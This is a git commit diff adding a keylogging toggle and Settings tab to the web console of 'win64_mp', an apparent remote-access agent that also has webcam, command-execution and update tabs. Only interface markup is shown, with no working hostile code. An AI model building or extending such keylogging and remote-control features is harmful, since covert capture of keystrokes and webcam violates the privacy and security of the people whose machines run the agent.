feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
This commit is contained in:
2026-09-01 23:36:39 +03:00
parent a3c78820ed
commit ac31e52a8c
13 changed files with 329 additions and 14 deletions
+25 -1
View File
@@ -122,6 +122,14 @@
font-size: 1.05rem;
line-height: 1.2;
}
.brand-text .ver {
margin-left: 0.45rem;
font-size: 0.78rem;
font-weight: 500;
font-family: var(--mono);
color: var(--text-muted);
letter-spacing: 0;
}
.brand-text p {
margin-top: 0.1rem;
font-size: 0.78rem;
@@ -711,7 +719,7 @@
</svg>
</div>
<div class="brand-text">
<h1>win64_mp</h1>
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
<p>Local agent console</p>
</div>
</div>
@@ -728,6 +736,7 @@
<button data-tab="webcam" type="button">Webcam</button>
<button data-tab="exec" type="button">Command</button>
<button data-tab="update" type="button">Update</button>
<button data-tab="settings" type="button">Settings</button>
<button data-tab="logs" type="button">Logs</button>
</nav>
@@ -909,6 +918,21 @@
<p id="update-result" class="meta"></p>
</section>
<section id="settings" class="panel">
<div class="panel-head">
<div>
<h2>Settings</h2>
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
</div>
</div>
<div class="startup-card">
<span id="keylog-state" class="meta">klogging: —</span>
<button id="keylog-enable" type="button">Enable</button>
<button id="keylog-disable" class="danger" type="button">Disable</button>
</div>
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
</section>
<section id="logs" class="panel">
<div class="panel-head">
<div>